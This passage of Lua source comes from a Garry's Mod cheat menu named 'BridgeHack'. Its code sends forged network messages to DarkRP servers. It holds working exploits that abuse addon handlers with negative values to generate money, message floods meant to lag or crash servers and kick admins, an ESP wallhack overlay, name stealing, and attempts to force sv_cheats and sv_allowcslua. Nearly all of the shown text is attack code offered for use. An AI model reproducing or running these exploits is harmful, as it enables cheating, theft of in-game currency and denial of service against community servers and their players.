1673concommand.Add("bh_aecheck", CheckAE, SVersionCheck)
1674
1675
1676
1677concommand.Add("bh_ae_kickadmins",function()
1678
1679clearcon()
1680
1681chatP("Attempting to Kick admins")
1682
1683chatP("This will only work on admins+")
1684
1685timer.Create( "aekickdaskids", 3, 0, function()
1686
1687for k,v in ipairs(player.GetAll()) do
1688
1689if( v:GetUserGroup() != "user" ) then
1690
1691if( v:GetUserGroup() != "vip" ) then
1692
1693for i=0, 1000 do
1694
1695net.Start('plyWarning')
1696
1697 net.WriteEntity(v)
1698
1699 net.WriteString('You have to select a player before doing a action.')
1700
1701 net.SendToServer()
1702
1703end
1704
1705chatP('Attempting to kick: '.. v:Nick().. "!")
1706
1707
1708
1709end end end end) end)
1710
1711
1712
1713concommand.Add("bh_namesteal_on",function()
1714
1715 status("Running Script: Random Name Change [name steal]....")
1716
1717
1718
1719 timer.Create("startNAMECHANGEsteal", 0.12, 0, function()
1720
1721 local plylastname = ply:Nick()
1722
1723 for k,v in pairs(player.GetAll()) do
1724
1725 local ligger_type = math.random(1,2)
1726
1727 local ligger_type1 = math.random(1,2)
1728
1729 status("Trying Name change to " .. v:Nick() .. " - " .. v:SteamID())
1730
1731 if ligger_type1 == ligger_type then
1732
1733 status("Name Changing to " .. v:Nick() .. " - " .. v:SteamID())
1734
1735 if plylastname == v:Nick() then
1736
1737 local ligger_type = math.random(1,2)
1738
1739 local ligger_type1 = math.random(1,2)
1740
1741 else
1742
1743 ply:ConCommand("darkrp name " .. v:Nick() .. math.random(1,10))
1744
1745 status("Changed Name to " .. v:Nick() .. " - " .. v:SteamID())
1746
1747 end
1748
1749 local ligger_type = math.random(1,2)
1750
1751 local ligger_type1 = math.random(1,2)
1752
1753 end end end) end)
1754
1755
1756
1757concommand.Add("bh_namesteal_off",function()
1758
1759 timer.Destroy("startNAMECHANGEsteal",0.12,0,function()
1760
1761 end) end)
1762
1763
1764
1765concommand.Add("bh_removelookingat",function()
1766
1767 chatP("Removing prop looking at...")
1768
1769 net.Start( "MDE_RemoveStuff_C2S" )
1770
1771 net.WriteTable( {DATA="",TARGET=sweg} )
1772
1773 net.SendToServer()
1774
1775
1776
1777end)
1778
1779
1780
1781concommand.Add("__bh_lagdarkrpdashit",function()
1782
1783 chatP("Starting the lag...")
1784
1785 timer.Create("lag"..BridgeHack.RandomVar, 1, 0, function()
1786
1787 for i=1,10000 do
1788
1789 net.Start("DarkRP_spawnPocket")
1790
1791 net.SendToServer()
1792
1793 end
1794
1795 status("PROGRESS[10000/10000]")
1796
1797
1798
1799 end) end)
1800
1801
1802
1803concommand.Add( "__bh_stopplag",function( )
1804
1805 chatP("Stopping the lag...")
1806
1807 timer.Destroy("lag"..BridgeHack.RandomVar)
1808
1809end)
1810
1811
1812
1813if dspam == true then
1814
1815 chatP("Spam split / make shipment ON")
1816
1817 timer.Create("spamdashit"..BridgeHack.RandomVar,0.1,function()
1818
1819 for k,v in pairs(ents.GetAll()) do
1820
1821 if v.Entity:GetString() == "spawned_shipment" then
1822
1823 status("Splitting shipment")
1824
1825 RunConsoleCommand("darkrp","splitshipment",v.Entity:EntIndex())
1826
1827 elseif v.Entity:GetClassName() == "spawned_weapon" then
1828
1829 status("Making shipment")
1830
1831 RunConsoleCommand("darkrp","makeshipment",v.Entity:EntIndex())
1832
1833 end end end) end
1834
1835
1836
1837if dspam == false then
1838
1839 chatP("Spam split / make shipment OFF")
1840
1841 timer.Simple(1,function()
1842
1843 timer.Destroy("spamdashit"..BridgeHack.RandomVar,function()
1844
1845 end) end) end
1846
1847
1848
1849concommand.Add("bh_kun_ziptie_untie",function()
1850
1851 chatP("Untieing...")
1852
1853 for i=0,30 do
1854
1855 net.Start("Kun_ZiptieStruggle")
1856
1857 net.SendToServer()
1858
1859 end
1860
1861end)
1862
1863
1864
1865concommand.Add("___darkrpshipments", function()
1866
1867 if dspam != true then
1868
1869 dspam = true
1870
1871 elseif dspam == true then
1872
1873 dspam = false
1874
1875 end end)
1876
1877
1878
1879local function BridgeHackCHECK(v)
1880
1881 if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= LocalPlayer() && LocalPlayer():Alive() then
1882
1883 return true
1884
1885 else
1886
1887 return false
1888
1889 end end
1890
1891
1892
1893hook.Add("HUDPaint", "JESP", function()
1894
1895 for k,v in pairs(player.GetAll()) do
1896
1897 if GetConVarNumber("bh_esp") > 0 then
1898
1899 if(v ~= LocalPlayer() and BridgeHackCHECK(v)) then
1900
1901 if GetConVarNumber("bh_renderdistance_enable") > 0 then
1902
1903 if LocalPlayer():GetPos():Distance(v:GetPos()) < GetConVarNumber("bh_esp_rdistance") then
1904
1905 local PlayerESP = (v:EyePos()):ToScreen()
1906
1907 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1908
1909 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1910
1911
1912
1913 draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1914
1915
1916
1917 if GetConVarNumber("bh_esp_rank") > 0 then
1918
1919 draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1920
1921 end
1922
1923
1924
1925 if GetConVarNumber("bh_esp_hp") > 0 then
1926
1927 local infocolor = Color(255,0,255)
1928
1929 draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1930
1931 end
1932
1933
1934
1935 local col = team.GetColor(v:Team()) -- looped into esp (square box)
1936
1937 local min, max = v:WorldSpaceAABB()
1938
1939
1940
1941 min, max = min:ToScreen(), max:ToScreen()
1942
1943
1944
1945 local h = (min.y / 2) - (max.y / 2)
1946
1947 surface.SetDrawColor(col.g, col.b, col.r)
1948
1949
1950
1951 if GetConVarNumber("bh_esp_box") > 0 then
1952
1953 surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
1954
1955 surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
1956
1957 surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
1958
1959 end end
1960
1961 else
1962
1963
1964
1965 local PlayerESP = (v:EyePos()):ToScreen()
1966
1967 local infocolor = Color(0,255,0)
1968
1969 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1970
1971 draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1972
1973
1974
1975 if GetConVarNumber("bh_esp_rank") > 0 then
1976
1977 draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1978
1979 end
1980
1981
1982
1983 if GetConVarNumber("bh_esp_hp") > 0 then
1984
1985 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1986
1987 draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1988
1989 end
1990
1991
1992
1993 local col = team.GetColor(v:Team()) -- looped into esp (square box)
1994
1995
1996
1997 local min, max = v:WorldSpaceAABB()
1998
1999 min, max = min:ToScreen(), max:ToScreen()
2000
2001 local h = (min.y / 2) - (max.y / 2)
2002
2003
2004
2005 surface.SetDrawColor(col.g, col.b, col.r)
2006
2007
2008
2009 if GetConVarNumber("bh_esp_box") > 0 then
2010
2011 surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
2012
2013 surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
2014
2015 surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
2016
2017 end end end end end end)
2018
2019
2020
2021function blur_on()
2022
2023 DrawMaterialOverlay( "Models/effects/comball_tape", 0.5 )
2024
2025end
2026
2027
2028
2029function blur_off()
2030
2031 DrawMaterialOverlay( "", 0.1 )
2032
2033end
2034
2035
2036
2037concommand.Add("+bh_menu", function( ply )
2038
2039 status("Menu Opened.")
2040
2041 if GetConVarNumber("bh_menu_effects") == 1 then
2042
2043 hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_on )
2044
2045 end
2046
2047--[[
2048
2049 mainmenu
2050
2051
2052
2053
2054
2055 THE MAIN
2056
2057
2058
2059
2060
2061 MENU
2062
2063
2064
2065
2066
2067
2068
2069 STARTS
2070
2071
2072
2073
2074
2075
2076
2077 HERE
2078
2079
2080
2081 |
2082
2083 V
2084
2085]]--
2086
2087local menu = DermaMenu()
2088
2089menu:Center()
2090
2091menu:AddOption( "BridgeHack "..dlversion, function()
2092
2093 AboutMenu()
2094
2095end ):SetImage( "icon16/shield.png" )
2096
2097menu:AddSpacer()
2098
2099function menu:Paint( w, h )
2100
2101 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(255,255,255,150), true, true, true, true )
2102
2103 draw.RoundedBoxEx( 4, 0, 0, w, 22, Color(255,137,0,200), true, true, false, false )
2104
2105 surface.SetDrawColor( 0,0,0 )
2106
2107 surface.DrawOutlinedRect( 0, 0, w, h)
2108
2109end
2110
2111local ForcingMenu, optMenu = menu:AddSubMenu("Client-side Forcing")
2112
2113
2114
2115ForcingMenu:AddOption( "Force sv_allowcslua 1", function()
2116
2117 ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
2118
2119 status("Forced SV_ALLOWCSLUA TO 1")
2120
2121end):SetImage( "icon16/link_error.png" )
2122
2123
2124
2125ForcingMenu:AddOption( "Force sv_cheats 1", function()
2126
2127 ply:ConCommand("incrementvar sv_cheats 0 1 1")
2128
2129 status("Forced SV_CHEATS TO 1")
2130
2131end):SetImage( "icon16/link_error.png" )
2132
2133
2134
2135local ESP = menu:AddSubMenu("ESP")
2136
2137
2138
2139ESP:AddOption( "[ON] ESP", ESP_on):SetImage( "icon16/group_add.png" )
2140
2141ESP:AddOption( "[OFF] ESP", ESP_off):SetImage( "icon16/group_delete.png" )
2142
2143
2144
2145local Speed = menu:AddSubMenu("Speed")
2146
2147Speed:AddOption( "[ON] SpeedHack", speedhack_on):SetImage( "icon16/lightning_go.png" )
2148
2149Speed:AddOption( "[OFF] SpeedHack", speedhack_off):SetImage( "icon16/lightning_delete.png" )
2150
2151
2152
2153
2154
2155local NameStealSub = menu:AddSubMenu( "Name Stealing/Changing" )
2156
2157NameStealSub:AddOption( "[ON] Name Steal", function()
2158
2159 ply:ConCommand("bh_namesteal_on")
2160
2161end ):SetImage( "icon16/book_addresses.png" )
2162
2163
2164
2165NameStealSub:AddOption( "[OFF] Name Steal", function()
2166
2167 status("Stopped Script: Random Name Change [name steal]")
2168
2169 ply:ConCommand("bh_namesteal_off")end ):SetImage( "icon16/book.png" )
2170
2171
2172
2173local MoneyExploits = menu:AddSubMenu( "DarkRP Money Explots" )
2174
2175
2176
2177 MoneyExploits:AddOption("[$$] Drug Sell",function()
2178
2179 for i=1,1000 do
2180
2181 net.Start("Kun_SellDrug")
2182
2183 net.WriteString("Meth")
2184
2185 net.SendToServer()
2186
2187 end end):SetImage( "icon16/coins_add.png" )
2188
2189
2190
2191 MoneyExploits:AddOption( "[$$] Taxi Driver Money",function()
2192
2193 chatp("Giving money")
2194
2195 net.Start("Taxi_Add")
2196
2197 net.WriteString("MLG")
2198
2199 net.WriteTable({-1333.647461, -1473.931763, -139.968750})
2200
2201 net.WriteFloat(-99999999)
2202
2203 net.WriteString(Desc)
2204
2205 net.SendToServer()
2206
2207 end):SetImage( "icon16/coins_add.png" )
2208
2209
2210
2211 MoneyExploits:AddOption( "[$$] SS Shelf NET",function()
2212
2213 chatP("Attempting to give money..")
2214
2215 for k,v in pairs(ents.GetAll()) do
2216
2217 swag = v
2218
2219 end
2220
2221 net.Start( 'NET_SS_DoBuyTakeoff' )
2222
2223 net.WriteEntity(LocalPlayer())
2224
2225 net.WriteEntity(swag)
2226
2227 net.WriteTable({'spawned_weapon'})
2228
2229 net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
2230
2231 net.SendToServer()
2232
2233 end):SetImage( "icon16/coins_add.png" )
2234
2235
2236
2237 MoneyExploits:AddOption( "[$$] HITMAN MONEY",function()
2238
2239 chatP("Attempting to give money..")
2240
2241 net.Start( "DaHit" )
2242
2243 net.WriteFloat( -1000000000000000000000 )
2244
2245 --net.WriteFloat( tm )
2246
2247 net.WriteEntity( LocalPlayer() )
2248
2249 net.WriteEntity( LocalPlayer() )
2250
2251 net.WriteEntity( LocalPlayer() )
2252
2253 net.SendToServer()
2254
2255 end):SetImage( "icon16/coins_add.png" )
2256
2257
2258
2259 MoneyExploits:AddOption( "[$$] HHH MONEY",function()
2260
2261 local ply = LocalPlayer()
2262
2263 for k,v in pairs(player.GetAll()) do
2264
2265 dahater = v
2266
2267 end
2268
2269
2270
2271 local hitRequest = {}
2272
2273 hitRequest.hitman = ply
2274
2275 hitRequest.requester = ply
2276
2277 hitRequest.target = dahater
2278
2279 hitRequest.reward = 100000000
2280
2281
2282
2283 net.Start( 'hhh_request' )
2284
2285 net.WriteTable( hitRequest )
2286
2287 net.SendToServer()
2288
2289
2290
2291 end):SetImage( "icon16/coins_add.png" )
2292
2293
2294
2295 MoneyExploits:AddOption("[$$] BOONPC",function()
2296
2297 net.Start('BuyCar')
2298
2299 net.WriteFloat(-1000000000000)
2300
2301 net.WriteEntity(LocalPlayer())
2302
2303 net.WriteString("BridgeHack")
2304
2305 net.WriteString("BridgeHack")
2306
2307 net.WriteString("BridgeHack")
2308
2309 net.SendToServer()
2310
2311 end):SetImage( "icon16/coins_add.png" )
2312
2313
2314
2315 MoneyExploits:AddOption("[$$] Hitman X Menu",function()
2316
2317 local frame = vgui.Create( "DFrame" )
2318
2319 frame:Center()
2320
2321 frame:SetSize( 200,150 )
2322
2323 frame:SetTitle( "" )
2324
2325 frame:MakePopup()
2326
2327 frame:ShowCloseButton( false )
2328
2329 function frame:Paint( w, h )
2330
2331 draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
2332
2333 draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
2334
2335 draw.SimpleText( "BridgeHack Hitman X Menu", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
2336
2337 end
2338
2339
2340
2341 local playerMenu = vgui.Create( "DComboBox", frame )
2342
2343 playerMenu:SetPos( 10,40 )
2344
2345 playerMenu:SetSize( 120,20 )
2346
2347 playerMenu:SetText( "Select a Player")
2348
2349 for k, v in pairs( player.GetAll() ) do
2350
2351 playerMenu:AddChoice( tostring( v:Name() ) )
2352
2353 playerMenu:SetTextColor(color_black)
2354
2355 end
2356
2357
2358
2359 local Button = vgui.Create("DButton", frame)
2360
2361 Button:SetPos( 180, 2 )
2362
2363 Button:SetSize( 20, 20 )
2364
2365 Button:SetText( "" )
2366
2367 function Button:Paint( w, h )
2368
2369 draw.SimpleText( "X", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
2370
2371 end
2372
2373 Button.DoClick = function()
2374
2375 frame:Close()
2376
2377 end
2378
2379
2380
2381 local SpamHit = vgui.Create("DButton", frame )
2382
2383 SpamHit:SetPos( 20,70 )
2384
2385 SpamHit:SetSize( 150,20 )
2386
2387 SpamHit:SetText( "Get Money" )
2388
2389 SpamHit:SetTextColor( Color(0,0,0) )
2390
2391 SpamHit.DoClick = function()
2392
2393 local v = playerMenu:GetText()
2394
2395 net.Start( "SendMoney" )
2396
2397 net.WriteEntity( v )
2398
2399 net.WriteEntity( v )
2400
2401 net.WriteEntity( v )
2402
2403 net.WriteString( "-100000000000000000000000000000000000000000" )
2404
2405 net.SendToServer()
2406
2407 end
2408
2409
2410
2411 local CrashButton = vgui.Create("DButton", frame )
2412
2413 CrashButton:SetPos( 20,90 )
2414
2415 CrashButton:SetSize( 150,20 )
2416
2417 CrashButton:SetText( "Crash Server" )
2418
2419 CrashButton:SetTextColor( Color(0,0,0) )
2420
2421 CrashButton.DoClick = function()
2422
2423 for i=0, 10 do
2424
2425 ply:ConCommand("bh_hitmanxcrash")
2426
2427 end
2428
2429 end
2430
2431
2432
2433 local InfaButton = vgui.Create("DButton", frame )
2434
2435 InfaButton:SetPos( 20,110 )
2436
2437 InfaButton:SetSize( 150,20 )
2438
2439 InfaButton:SetText( "Infinite Money For Everyone" )
2440
2441 InfaButton:SetTextColor( Color(0,0,0) )
2442
2443 InfaButton.DoClick = function()
2444
2445 ply:ConCommand("bh_hitmanxinfa")
2446
2447 end
2448
2449 end):SetImage( "icon16/application_form.png" )
2450
2451
2452
2453 MoneyExploits:AddOption( "[$$] HITMENU",function()
2454
2455 local HitPanel = vgui.Create( "DFrame" )
2456
2457 HitPanel:SetPos( ScrW()/5, ScrH()/10 )
2458
2459 HitPanel:SetSize( 300, 200 )
2460
2461 HitPanel:SetTitle( " " )
2462
2463 HitPanel:SetVisible( true )
2464
2465 HitPanel:SetDraggable( true )
2466
2467 HitPanel:ShowCloseButton( false )
2468
2469 HitPanel:MakePopup()
2470
2471 function HitPanel:Paint( w, h )
2472
2473 draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 255,160) )
2474
2475 draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
2476
2477 draw.SimpleText( "BridgeHack HitHack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
2478
2479 end
2480
2481
2482
2483 local Button = vgui.Create("DButton", HitPanel)
2484
2485 Button:SetPos( 250, 0 )
2486
2487 Button:SetSize( 50, 25 )
2488
2489 Button:SetText( "" )
2490
2491 function Button:Paint( w, h )
2492
2493 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
2494
2495 draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
2496
2497 end
2498
2499 Button.DoClick = function()
2500
2501 HitPanel:Close()
2502
2503 end
2504
2505
2506
2507 local HitButton = vgui.Create("DButton", HitPanel)
2508
2509 HitButton:SetPos( 140, 100 )
2510
2511 HitButton:SetSize( 100, 20 )
2512
2513 HitButton:SetText( "Get Money" )
2514
2515 HitButton:SetTextColor( Color(255,255,255) )
2516
2517 function HitButton:Paint( w, h )
2518
2519 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
2520
2521 end
2522
2523 HitButton.DoClick = function()
2524
2525 ply:ConCommand("bh_hithack")
2526
2527 end
2528
2529
2530
2531 local HitSlider = vgui.Create( "DNumSlider", HitPanel )
2532
2533 HitSlider:SetPos( 20, 50 )
2534
2535 HitSlider:SetSize( 300, 40 )
2536
2537 HitSlider:SetText( "Money Ammount" )
2538
2539 HitSlider:SetMin( 0 )
2540
2541 HitSlider:SetMax( 1000000000 )
2542
2543 HitSlider:SetDecimals( 0 )
2544
2545 HitSlider:SetConVar( "bh_hitmenuammount" )
2546
2547
2548
2549 end):SetImage( "icon16/coins_add.png" )
2550
2551
2552
2553 MoneyExploits:AddOption( "[$$] 3D Car Dealer",function()
2554
2555 ply:ConCommand("bh_3dcardealer_spamstore")
2556
2557 end):SetImage( "icon16/coins_add.png" )
2558
2559
2560
2561 MoneyExploits:AddOption( "[$$] VCMOD Sell-car",function()
2562
2563 chatP("Attempting to give money..")
2564
2565 for i=0,30 do
2566
2567 for i=1,10 do
2568
2569 net.Start( "AttemptSellCar" )
2570
2571 net.WriteInt( i, 8 )
2572
2573 net.SendToServer()
2574
2575 end
2576
2577 end
2578
2579 end):SetImage( "icon16/coins_add.png" )
2580
2581
2582
2583 MoneyExploits:AddOption( "[$$] BAILNPC",function()
2584
2585 chatP("Attempting to give money..")
2586
2587 net.Start( "BailOut" )
2588
2589 net.WriteEntity( ply )
2590
2591 net.WriteEntity( ply )
2592
2593 net.WriteFloat( -10000000000000)
2594
2595 net.SendToServer()
2596
2597 end):SetImage( "icon16/coins_add.png" )
2598
2599
2600
2601 MoneyExploits:AddOption("[$$] REALISTIC ATM",function()
2602
2603 local DermaPanel = vgui.Create( "DFrame" )
2604
2605 DermaPanel:SetPos( 100, 100 )
2606
2607 DermaPanel:SetSize( 300, 200 )
2608
2609 DermaPanel:SetTitle( " " )
2610
2611 DermaPanel:SetVisible( true )
2612
2613 DermaPanel:SetDraggable( true )
2614
2615 DermaPanel:ShowCloseButton( true )
2616
2617 function DermaPanel:Paint( w, h )
2618
2619 draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 0,160) )
2620
2621 draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
2622
2623 draw.SimpleText( "BridgeHack Realistic ATM Hack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
2624
2625 end
2626
2627 DermaPanel:MakePopup()
2628
2629
2630
2631 local TextEntry = vgui.Create( "DTextEntry", DermaPanel )
2632
2633 TextEntry:SetPos( 75, 30 )
2634
2635 TextEntry:SetSize( 150, 25 )
2636
2637 TextEntry:SetText( "Account num(Including the -!)" )
2638
2639
2640
2641 local BBDButton = vgui.Create( "DButton",DermaPanel )
2642
2643 BBDButton:SetPos( 10, 120 )
2644
2645 BBDButton:SetText( "Give Money" )
2646
2647 BBDButton:SetTextColor( Color(255,255,255) )
2648
2649 BBDButton:SetSize( 280, 75 )
2650
2651 function BBDButton:Paint( w, h )
2652
2653 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,255,150) )
2654
2655 end
2656
2657 BBDButton.DoClick = function()
2658
2659 local accnumber = TextEntry:GetValue()
2660
2661 local moneytogive = GetConVarNumber("bh_ratm_money2give")
2662
2663 chatP("Attempting to give "..moneytogive.."$ on Account Number: "..accnumber)
2664
2665 net.Start("ATM_DepositMoney_C2S")
2666
2667 net.WriteTable({Memo =BridgeHack.RandomVar,Num=accnumber,Amount=-moneytogive})
2668
2669 net.SendToServer()
2670
2671 end
2672
2673
2674
2675 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
2676
2677 RenderDistance:SetPos( 10, 50)
2678
2679 RenderDistance:SetSize( 275, 25 )
2680
2681 RenderDistance:SetText( "Money to give" )
2682
2683 RenderDistance:SetMin( 0 )
2684
2685 RenderDistance:SetMax( 500000 )
2686
2687 RenderDistance:SetDecimals( 0 )
2688
2689 RenderDistance:SetConVar( "bh_ratm_money2give" )
2690
2691 end):SetImage("icon16/coins_add.png")
2692
2693
2694
2695 MoneyExploits:AddOption( "[$$] TOW TRUCK DRIVER",function()
2696
2697 chatP("Giving money..")
2698
2699 for k,v in pairs(ents.GetAll()) do
2700
2701 status("Attempting to make fine")
2702
2703 net.Start("TOW_SubmitWarning")
2704
2705 net.WriteString(LocalPlayer():SteamID())
2706
2707 net.WriteDouble(-100000000000)
2708
2709 net.WriteEntity(v)
2710
2711 net.SendToServer()
2712
2713
2714
2715 net.Start("TOW_PayTheFine")
2716
2717 net.WriteEntity(v)
2718
2719 net.SendToServer()
2720
2721 end
2722
2723 end):SetImage( "icon16/coins_add.png" )
2724
2725
2726
2727local DARKRPBASEDSUB = menu:AddSubMenu( "DarkRP Minging/Scripts" )
2728
2729
2730
2731 DARKRPBASEDSUB:AddOption("[ON] Dlog Lag",function()
2732
2733 ply:ConCommand("bh_dlogs_lag")
2734
2735 end):SetImage( "icon16/table_error.png" )
2736
2737
2738
2739 DARKRPBASEDSUB:AddOption("[OFF] Dlog Lag",function()
2740
2741 ply:ConCommand("bh_dlogs_lag_off")
2742
2743 end):SetImage( "icon16/table_add.png" )
2744
2745
2746
2747 DARKRPBASEDSUB:AddOption("HitMenu Spam",function()
2748
2749 local ply = LocalPlayer()
2750
2751
2752
2753 local frame = vgui.Create( "DFrame" )
2754
2755 frame:Center()
2756
2757 frame:SetSize( 200,150 )
2758
2759 frame:SetTitle( "" )
2760
2761 frame:MakePopup()
2762
2763 frame:ShowCloseButton( false )
2764
2765 function frame:Paint( w, h )
2766
2767 draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
2768
2769 draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
2770
2771 draw.SimpleText( "BridgeHack Hitspam", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
2772
2773 end
2774
2775
2776
2777 local playerMenu = vgui.Create( "DComboBox", frame )
2778
2779 playerMenu:SetPos( 10,40 )
2780
2781 playerMenu:SetSize( 120,20 )
2782
2783 playerMenu:SetText( "Select a Player")
2784
2785 for k, v in pairs( player.GetAll() ) do
2786
2787 playerMenu:AddChoice( tostring( v:Name() ) )
2788
2789 end
2790
2791
2792
2793 local SpamHit = vgui.Create("DButton", frame )
2794
2795 SpamHit:SetPos( 50,70 )
2796
2797 SpamHit:SetSize( 100,20 )
2798
2799 SpamHit:SetText( "Place Dem Hits" )
2800
2801 SpamHit:SetTextColor( Color(0,0,0) )
2802
2803 SpamHit.DoClick = function()
2804
2805 local v = playerMenu:GetText()
2806
2807 for i=0, 4 do
2808
2809 ply:ConCommand('addhit "'..v..'" 500')
2810
2811 end
2812
2813 end
2814
2815
2816
2817 local CrashButton = vgui.Create("DButton", frame )
2818
2819 CrashButton:SetPos( 50,110 )
2820
2821 CrashButton:SetSize( 100,20 )
2822
2823 CrashButton:SetText( "Crash Server" )
2824
2825 CrashButton:SetTextColor( Color(0,0,0) )
2826
2827 CrashButton.DoClick = function()
2828
2829 chatP("Hitmanmenu got rekt!")
2830
2831 consoleP("Hitmanmenu got rekt")
2832
2833 for i=0, 10 do
2834
2835 ply:ConCommand("bh_hitmancrash")
2836
2837 end
2838
2839 end
2840
2841
2842
2843 local Button = vgui.Create("DButton", frame)
2844
2845 Button:SetPos( 170, 0 )
2846
2847 Button:SetSize( 30, 20 )
2848
2849 Button:SetText( "Close" )
2850
2851 Button:SetTextColor( Color( 255, 255, 255) )
2852
2853 function Button:Paint( w, h )
2854
2855 draw.RoundedBox( 4, 0, 0, w, h, Color(0,0,0,200) )
2856
2857 end
2858
2859 Button.DoClick = function()
2860
2861 frame:Close()
2862
2863 end
2864
2865
2866
2867 local label = vgui.Create( "DLabel", frame )
2868
2869 label:SetPos( 10,20 )
2870
2871 label:SetSize( 120,20 )
2872
2873 label:SetTextColor( Color(0,0,0) )
2874
2875 label:SetText( "Select Player:" )
2876
2877 end):SetImage("icon16/accept.png")
2878
2879
2880
2881 DARKRPBASEDSUB:AddOption("TP Spawn",function()
2882
2883 ply:ConCommand("bh_tp_spawn")
2884
2885 end):SetImage( "icon16/cake.png" )
2886
2887
2888
2889 DARKRPBASEDSUB:AddOption("[ON] Advert Spam",function()
2890
2891 ply:ConCommand("bh_advert 1")
2892
2893 end):SetImage( "icon16/bell_add.png" )
2894
2895
2896
2897 DARKRPBASEDSUB:AddOption("[OFF] Advert Spam",function()
2898
2899 ply:ConCommand("bh_advert 0")
2900
2901 end):SetImage( "icon16/bell_delete.png" )
2902
2903
2904
2905 DARKRPBASEDSUB:AddOption("Remove looking at prop",function()
2906
2907 timer.Simple(0.1,function()
2908
2909 chatP("(This can be binded to: bh_removelookingat)")
2910
2911 ply:ConCommand("bh_removelookingat")
2912
2913 end)
2914
2915 end):SetImage("icon16/map_delete.png")
2916
2917
2918
2919 DARKRPBASEDSUB:AddOption( "[X] KUN ZIPTIES UNTIE SELF ",function()
2920
2921 ply:ConCommand("bh_kun_ziptie_untie")
2922
2923 end):SetImage( "icon16/cut.png" )
2924
2925
2926
2927 DARKRPBASEDSUB:AddOption( "Open Armory", function()
2928
2929 chatP("Opening armory..")
2930
2931 ARMORY_WeaponMenu()
2932
2933 end):SetImage( "icon16/bomb.png" )
2934
2935
2936
2937 DARKRPBASEDSUB:AddOption( "[ON/OFF] Spam Split Shipment / Make Shipemnt", function()
2938
2939 ply:ConCommand("___darkrpshipments")
2940
2941 end):SetImage( "icon16/cut_red.png" )
2942
2943
2944
2945 DARKRPBASEDSUB:AddOption( "[ON] Make everyone wanted (Cop only)", function()
2946
2947 timer.Create("lollol3294385", 0.2, 0, function( )
2948
2949 for k,v in pairs(player.GetAll()) do
2950
2951 local ligger_type = math.random(1,13)
2952
2953 local ligger_type1 = math.random(1,13)
2954
2955 status("Attempting Want on: " .. v:Nick() .. " - " .. v:SteamID())
2956
2957 if ligger_type1 == ligger_type then
2958
2959 if last_ply == v:Nick() then
2960
2961 local ligger_type = math.random(1,13)
2962
2963 local ligger_type1 = math.random(1,13)
2964
2965 else
2966
2967 ply:ConCommand("darkrp wanted " .. v:Nick() .. " " .. math.random(1,999))
2968
2969 end
2970
2971
2972
2973 local last_ply = v:Nick()
2974
2975 local ligger_type = math.random(1,13)
2976
2977 local ligger_type1 = math.random(1,13)
2978
2979 status("Force Wanting: " .. v:Nick())
2980
2981 end
2982
2983 end
2984
2985 end)
2986
2987 end):SetImage( "icon16/cross.png" )
2988
2989
2990
2991 DARKRPBASEDSUB:AddOption( "[OFF] Make everyone wanted (Cop only)", function()
2992
2993 timer.Destroy("lollol3294385")
2994
2995 status("Stopped Want All Police")
2996
